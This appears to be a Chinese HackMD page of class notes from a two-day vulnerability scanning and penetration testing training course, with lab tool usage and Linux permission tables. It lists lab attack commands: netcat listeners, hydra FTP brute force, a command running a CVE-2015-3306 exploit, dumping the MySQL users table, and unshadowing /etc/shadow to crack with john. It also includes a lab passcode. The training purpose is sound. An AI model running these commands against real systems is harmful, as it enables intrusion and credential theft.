---
# System prepended metadata

title: 20240810-弱點掃描與滲透測試

---

day1

[人才養成班]_0810弱點掃描、滲透測試(7H)
https://teams.microsoft.com/l/meetup-join/19%3ameeting_MDFmMTY2YWItNzBmYi00NmY5LTg2MzMtZGM1N2E2YzU3OGQ1%40thread.v2/0?context=%7b%22Tid%22%3a%228403e735-8841-4669-895d-961c42dba6fc%22%2c%22Oid%22%3a%22bb88e902-6448-4501-9d80-95e53910474a%22%7d

[人才養成班]_0811弱點掃描、滲透測試(7H)
https://teams.microsoft.com/l/meetup-join/19%3ameeting_MTkyNjU1M2YtMGMzZC00MDQ5LTg2ZmItOTBlYWQ0M2Y5YWY3%40thread.v2/0?context=%7b%22Tid%22%3a%228403e735-8841-4669-895d-961c42dba6fc%22%2c%22Oid%22%3a%22bb88e902-6448-4501-9d80-95e53910474a%22%7d


## 課程講義 
https://drive.google.com/drive/folders/1gzdIgoyw7XeHY1kSk5uDr8ZFIvlWAWa7?usp=sharing


----


弱掃軟體
ZAP 

x-lab code
order id : A000001322
PasCode : ACWTsXN8


nessus 試用版安裝
https://blog.darkthread.net/blog/setup-nessus-offline/

openvas 
http://127.0.0.1:9392/login


snmp tools
MIB Browser


nc -v 192.168.56.101 80

靶機
nc -lvnp 9999

攻擊端
nc 192.168.56.101 9999

建立文字檔
sudo nano test.txt     
Ctrl+O 存檔
ctrl+X 離開

在靶機開啟nc 等待傳檔
nc -lvnp 9999 > AA.txt
在攻擊機
nc 192.168.56.101 9999 <test.txt


wappalyzer
https://www.wappalyzer.com/?utm_source=popup&utm_medium=extension&utm_campaign=wappalyzer

啟用
recon-ng 

安裝模組
marketplace install recon/domains-hosts/google_site_web
載入模組
modules load recon/domains-hosts/google_site_web
info 檢視內容
設定需要的參數
options set source ntu.edu.tw
執行
run

advance port scanner


nmap 192.168.56.101 -p 21 --script=ftp-vsftpd-backdoor

![image](https://hackmd.io/_uploads/SJI-9cN5A.png)



sudo nano exploit.c   

  GNU nano 8.1                                     exploit.c *                                            
  
#include<stdio.h>

int main(){ 
       printf("hi\n");
       return 0;


}



windows 簡易HTTP server
HFS 



# day2 

09:30 請同學先完成這個lab
# WVA2202
![image](https://hackmd.io/_uploads/r1_rQ9r9R.png)




09:50 講解
**安裝密碼檔**
sudo apt install wordlists  


**密碼破解樣本**
https://drive.google.com/drive/folders/1MeRI24oAj6KrSo_IsdSQ9Zvh3yg74K21?usp=drive_link

****
hydra 語法
ftp
hydra -l <username> -P <password_list> ftp://<target_ip>
 
密碼檔    
    rockme.txt
https://drive.google.com/file/d/1pOeNtw0sRbH1AiVUJKyy_sYKhcznCafk/view?usp=drive_link 
    
ftp user:ftp  
    hydra -l ftp -P rockme.txt ftp://192.168.56.101
 
<br>
<br>
<br>
<br>
https://ithelp.ithome.com.tw/articles/10279483
    

[](https://)

    cve-2015-3306 
    https://github.com/t0kx/exploit-CVE-2015-3306/
    語法
    python3 exploit.py --host 10.140.0.115 --port 21 --path "var/www/html"

    
    提權參考
    https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation


權限補充說明

    提權工具
    https://blog.davidou.org/archives/2637 
   
  ```  
#    dbeaver 
    
    ```
    db工具
    https://dbeaver.io/download/ 
    
    1. **更新系統**：
安裝語法

   ```bash
   sudo apt update
   sudo apt upgrade -y
sudo apt install openjdk-11-jdk -y
wget https://dbeaver.io/files/dbeaver-ce_latest_amd64.deb
sudo dpkg -i dbeaver-ce_latest_amd64.deb
dbeaver
```

    db連線
    mysql --skip-ssl -h 10.140.0.10 -u chatadmin -p booking
 
    sql語法
    show tables;
    select * from flag;
    select * from users;

    
linux password dump
    sudo unshadow /etc/passwd /etc/shadow | sudo tee password.txt > /dev/null
    
    $ john --wordlist=rockme.txt --format="crypt" passdump.txt   
    
linux權限說明
### 權限設置表格

| 欄位       | 符號       | 數值 | 描述 (中文)                                     | Description (English)                          |
|------------|------------|------|-------------------------------------------------|------------------------------------------------|
| 文件類型   | - 或 d     | -    | `-` 表示普通文件，`d` 表示目錄                 | `-` for regular file, `d` for directory        |
| 所有者     | rwx        | 7    | 讀、寫、執行權限                                | Read, write, and execute permissions           |
| 組         | r-x        | 5    | 讀、執行權限                                    | Read and execute permissions                   |
| 其他       | r--        | 4    | 讀取權限                                        | Read-only permission                           |

### 權限類型和符號

| 權限類型 | 符號 | 數值 | 描述 (中文)                        | Description (English)                          |
|----------|------|------|------------------------------------|------------------------------------------------|
| 讀取     | r    | 4    | 文件：允許查看文件內容             | File: Allows viewing the file content          |
| 寫入     | w    | 2    | 文件：允許修改文件內容             | File: Allows modifying the file content        |
| 執行     | x    | 1    | 文件：允許執行文件                 | File: Allows executing the file                |
| 無權限   | -    | 0    | 無法讀取、寫入或執行               | No permissions to read, write, or execute      |

### 權限組合示例

| 權限   | 符號 | 數值 | 描述 (中文)                                       | Description (English)                          |
|--------|------|------|--------------------------------------------------|------------------------------------------------|
| 沒有權限 | ---  | 0    | 無法讀取、寫入或執行                            | No permissions                                 |
| 讀取     | r--  | 4    | 允許讀取                                         | Read-only                                      |
| 寫入     | -w-  | 2    | 允許寫入（無法讀取）                             | Write-only (cannot read)                       |
| 執行     | --x  | 1    | 允許執行                                         | Execute-only                                   |
| 讀取和寫入 | rw-  | 6    | 允許讀取和寫入                                   | Read and write                                 |
| 讀取和執行 | r-x  | 5    | 允許讀取和執行                                   | Read and execute                               |
| 寫入和執行 | -wx  | 3    | 允許寫入和執行（無法讀取）                       | Write and execute (cannot read)                |
| 讀寫和執行 | rwx  | 7    | 允許讀取、寫入和執行                             | Read, write, and execute                       |

### 特殊權限

| 權限類型 | 符號 | 數值 | 描述 (中文)                                                                 | Description (English)                          |
|----------|------|------|-----------------------------------------------------------------------------|------------------------------------------------|
| SUID     | s    | 4    | 執行文件時以文件所有者的權限運行                                              | Set User ID: Execute with the file owner's privileges |
| SGID     | s    | 2    | 執行文件時以文件所屬組的權限運行                                              | Set Group ID: Execute with the file group's privileges |
| Sticky Bit | t  | 1    | 只有文件的所有者或 root 可以刪除或移動該目錄中的文件                          | Only the file owner or root can delete or move files in the directory |

### 權限數值表示法

| 權限   | 符號 | 數值 | 描述 (中文)                                       | Description (English)                          |
|--------|------|------|--------------------------------------------------|------------------------------------------------|
| 普通文件 | -    | -    | 表示普通文件                                     | Regular file                                   |
| 目錄     | d    | -    | 表示目錄                                         | Directory                                      |
| SUID     | s    | 4    | 設置 SUID 位                                     | Set User ID                                    |
| SGID     | s    | 2    | 設置 SGID 位                                     | Set Group ID                                   |
| Sticky Bit | t  | 1    | 設置粘著位                                       | Set Sticky Bit                                 |

### 權限示例

假設一個文件的權限設置如下：


-rwxr-xr--



課後問卷網址 https://forms.office.com/r/Wh21xsRtKz

![113年資安基礎技能養成班-20240811(場次8) (1)](https://hackmd.io/_uploads/SkSHMcr5C.png)


